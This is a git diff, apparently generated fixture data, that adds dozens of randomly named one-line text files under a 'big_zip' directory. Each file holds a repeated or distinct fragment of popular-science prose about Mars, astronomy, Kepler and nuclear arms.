diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bezauziyfxjoyk.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bezauziyfxjoyk.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bezauziyfxjoyk.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bmccdvqedhqyr.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bmccdvqedhqyr.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_bmccdvqedhqyr.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_cbmvjyotofp.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_cbmvjyotofp.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_cbmvjyotofp.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_drdxyzkxf.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_drdxyzkxf.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_drdxyzkxf.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_enhcmzfyyt.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_enhcmzfyyt.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_enhcmzfyyt.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_geipxwzpi.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_geipxwzpi.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_geipxwzpi.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ipjupfgjktmjprestzccurza.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ipjupfgjktmjprestzccurza.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ipjupfgjktmjprestzccurza.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jjfykeuccfsigqvwhmk.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jjfykeuccfsigqvwhmk.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jjfykeuccfsigqvwhmk.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jvwzjmsqdiserenpzlvqkde.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jvwzjmsqdiserenpzlvqkde.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_jvwzjmsqdiserenpzlvqkde.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_kmppoevsiz.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_kmppoevsiz.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_kmppoevsiz.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_lcehbffj.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_lcehbffj.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_lcehbffj.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_nrsdhqakjcqofcsxfrofe.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_nrsdhqakjcqofcsxfrofe.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_nrsdhqakjcqofcsxfrofe.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ogycxfqovp.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ogycxfqovp.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ogycxfqovp.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ollgknhqitzvhpsqek.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ollgknhqitzvhpsqek.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_ollgknhqitzvhpsqek.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_onvxawoldgkusoilgpv.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_onvxawoldgkusoilgpv.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_onvxawoldgkusoilgpv.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_rvlgxibdufexpeq.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_rvlgxibdufexpeq.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_rvlgxibdufexpeq.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_sijoqgclzvjezpvspvztzmij.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_sijoqgclzvjezpvspvztzmij.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_sijoqgclzvjezpvspvztzmij.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_szcdiofzcbhcuwzjve.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_szcdiofzcbhcuwzjve.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_szcdiofzcbhcuwzjve.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_tqsoujkeokgyucrcmagxsbxh.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_tqsoujkeokgyucrcmagxsbxh.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_tqsoujkeokgyucrcmagxsbxh.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_uyyjxvgag.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_uyyjxvgag.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_uyyjxvgag.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_zmxzsomibqs.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_zmxzsomibqs.txt
new file mode 100644
index 0000000..f9bd25f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/file_zmxzsomibqs.txt
@@ -0,0 +1 @@
+inexpensive: the cost of a single naval vessel of intermediate size - a modern destroyer, say
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cqhhvxhgskokpcilsbdibd.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cqhhvxhgskokpcilsbdibd.txt
new file mode 100644
index 0000000..42c1cb0
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cqhhvxhgskokpcilsbdibd.txt
@@ -0,0 +1 @@
+They are the largest animals* ever to evolve on the planet Earth, larger by far than
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cudlsntzz.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cudlsntzz.txt
new file mode 100644
index 0000000..dd4f03b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/cudlsntzz.txt
@@ -0,0 +1 @@
+transmitted by the overlying clouds, about as much as on an overcast day on the Earth.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/daqvcqxa.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/daqvcqxa.txt
new file mode 100644
index 0000000..1027be7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/daqvcqxa.txt
@@ -0,0 +1 @@
+The slightest advantage in one being, of any age or during any season, over those
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_iyrgosvq.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_iyrgosvq.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_iyrgosvq.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_ljsszbsvafd.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_ljsszbsvafd.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_ljsszbsvafd.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_llubxbowdcdwsestlmgskjr.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_llubxbowdcdwsestlmgskjr.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_llubxbowdcdwsestlmgskjr.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_mevutqqaolosohcg.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_mevutqqaolosohcg.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_mevutqqaolosohcg.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_qrwqjrmvaazgdl.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_qrwqjrmvaazgdl.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_qrwqjrmvaazgdl.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_spatcbsgmk.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_spatcbsgmk.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_spatcbsgmk.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_sxyyknxttuioa.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_sxyyknxttuioa.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_sxyyknxttuioa.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_tdabdqhdjdvjwck.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_tdabdqhdjdvjwck.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_tdabdqhdjdvjwck.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_uoarkhvfurf.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_uoarkhvfurf.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_uoarkhvfurf.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_vjbpogevicu.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_vjbpogevicu.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_vjbpogevicu.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_yswxtpzgiupxvgu.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_yswxtpzgiupxvgu.txt
new file mode 100644
index 0000000..0a427ef
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/file_yswxtpzgiupxvgu.txt
@@ -0,0 +1 @@
+think of us?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ftrmqklftljwjroddmrdco.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ftrmqklftljwjroddmrdco.txt
new file mode 100644
index 0000000..cd99995
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ftrmqklftljwjroddmrdco.txt
@@ -0,0 +1 @@
+animals because of our hands, a very Ionian idea.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jiwdortocm.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jiwdortocm.txt
new file mode 100644
index 0000000..52b5cae
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jiwdortocm.txt
@@ -0,0 +1 @@
+‘As long as the multitude does not err .... I want to be on the side of the many. Therefore, I
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jqnhzuuqhkqeesrvp.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jqnhzuuqhkqeesrvp.txt
new file mode 100644
index 0000000..6cd6df5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jqnhzuuqhkqeesrvp.txt
@@ -0,0 +1 @@
+ended.’ On that day, they believed, the Sun will fall from the sky and the stars will be shaken from the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jsuriaonotewmbdnwlzjkaoq.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jsuriaonotewmbdnwlzjkaoq.txt
new file mode 100644
index 0000000..92d7bf4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/jsuriaonotewmbdnwlzjkaoq.txt
@@ -0,0 +1 @@
+changes in the bright and dark patterns on the Martian surface occur during times of high
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/kvdcpmuwcvhzoormoibirmfe.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/kvdcpmuwcvhzoormoibirmfe.txt
new file mode 100644
index 0000000..cc46736
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/kvdcpmuwcvhzoormoibirmfe.txt
@@ -0,0 +1 @@
+day collapse.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mopfthyyzljaanmijbgrrcw.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mopfthyyzljaanmijbgrrcw.txt
new file mode 100644
index 0000000..622ae32
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mopfthyyzljaanmijbgrrcw.txt
@@ -0,0 +1 @@
+for the water in the canals:
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mpeoqevtg.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mpeoqevtg.txt
new file mode 100644
index 0000000..470833d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/mpeoqevtg.txt
@@ -0,0 +1 @@
+finish a book a week, I will read only a few thousand books in my lifetime, about a tenth of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qfybelznopekiohk.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qfybelznopekiohk.txt
new file mode 100644
index 0000000..4ab76a6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qfybelznopekiohk.txt
@@ -0,0 +1 @@
+poet and diplomat of the time, remarked that the Town Hall dispelled ‘the Gothic squint
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qvewgaanlmbikatltbttql.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qvewgaanlmbikatltbttql.txt
new file mode 100644
index 0000000..bcdc18f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/qvewgaanlmbikatltbttql.txt
@@ -0,0 +1 @@
+records, in fact discovered until the time of Isaac Newton. Perhaps if Democritus’ work had
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tgjxjvvyrzsnagbo.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tgjxjvvyrzsnagbo.txt
new file mode 100644
index 0000000..d36f7ba
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tgjxjvvyrzsnagbo.txt
@@ -0,0 +1 @@
+Worlds in Collision, published in 1950 by a psychiatrist named Immanuel Velikovsky. He
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tlzkbuakqbhiqclgbbc.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tlzkbuakqbhiqclgbbc.txt
new file mode 100644
index 0000000..330d3f2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/tlzkbuakqbhiqclgbbc.txt
@@ -0,0 +1 @@
+copious amount of obscuring dust in the direction of Sagittarius; he had no way to know of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ttsxyvjllyrdh.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ttsxyvjllyrdh.txt
new file mode 100644
index 0000000..e3ef442
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/ttsxyvjllyrdh.txt
@@ -0,0 +1 @@
+objections to the idea that the Earth turns was the fact that people do not feel the motion. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/unvdwepjmzztfakppginysw.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/unvdwepjmzztfakppginysw.txt
new file mode 100644
index 0000000..b7ce070
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/unvdwepjmzztfakppginysw.txt
@@ -0,0 +1 @@
+rather have bitten my own finger than to give her further offense.’ But Kepler remained
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/vhcwwsuj.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/vhcwwsuj.txt
new file mode 100644
index 0000000..f53486d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/vhcwwsuj.txt
@@ -0,0 +1 @@
+years earlier by the ‘Holy Inquisition.’
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zezpofcewaisvdcrlpc.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zezpofcewaisvdcrlpc.txt
new file mode 100644
index 0000000..b181118
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zezpofcewaisvdcrlpc.txt
@@ -0,0 +1 @@
+can find yourself drawn into it irrevocably, your body stretched unpleasantly into a long,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zgerabntom.txt b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zgerabntom.txt
new file mode 100644
index 0000000..d7bf7ed
--- /dev/null
+++ b/big_zip/big-zip-files/folder_kvinourcjb/folder_rxhheaejec/folder_xinbskodaj/zgerabntom.txt
@@ -0,0 +1 @@
+thousand targeted nuclear warheads are likely to enhance the prospects for our survival?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_apvatbzwxheoobkv.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_apvatbzwxheoobkv.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_apvatbzwxheoobkv.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_auyhumajzhhwurqjuogrx.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_auyhumajzhhwurqjuogrx.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_auyhumajzhhwurqjuogrx.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_dkclgtlslvpqacymhuigof.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_dkclgtlslvpqacymhuigof.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_dkclgtlslvpqacymhuigof.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_ecsnncrmjmfrhcgvitmh.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ecsnncrmjmfrhcgvitmh.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ecsnncrmjmfrhcgvitmh.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_ipvyjjjhev.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ipvyjjjhev.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_ipvyjjjhev.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_jizbmbswi.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_jizbmbswi.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
+++ b/big_zip/big-zip-files/folder_lqwdjskvcs/file_jizbmbswi.txt
@@ -0,0 +1 @@
+drifting white clouds, raging dust storms, seasonally changing patterns on its red surface,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_lqwdjskvcs/file_khhctdjb.txt b/big_zip/big-zip-files/folder_lqwdjskvcs/file_khhctdjb.txt
new file mode 100644
index 0000000..fa9e26a
--- /dev/null
